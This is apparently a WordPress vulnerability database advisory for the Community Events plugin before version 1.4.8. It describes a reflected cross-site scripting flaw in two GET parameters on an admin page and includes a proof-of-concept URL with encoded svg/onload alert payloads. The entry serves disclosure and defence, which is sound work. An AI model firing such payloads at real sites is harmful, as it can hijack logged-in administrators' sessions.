WordPress Plugin Vulnerabilities
Community Event < 1.4.8 - Reflected Cross-Site Scripting (XSS)
Description
The plugin does not sanitise, validate or escape its importrowscount and successimportcount GET parameters before outputting them back in an admin page, leading to a reflected Cross-Site Scripting issue which will be executed in the context of a logged in administrator
Proof of Concept
http://wp.lab/wordpress/wp-admin/admin.php?page=community-events-venues&messages=9&importrowscount=%3Csvg%2Fonload%3Dalert%28%2FXSS%2F%29%3E&successimportcount=%3Csvg%2Fonload%3Dalert%28%2FXSS2%2F%29%3E
Affects Plugins
Fixed in 1.4.8 References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
iohex
Submitter
iohex
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-07-02 (about 2 years ago)
Added
2021-07-02 (about 2 years ago)
Last Updated
2022-01-17 (about 2 years ago)
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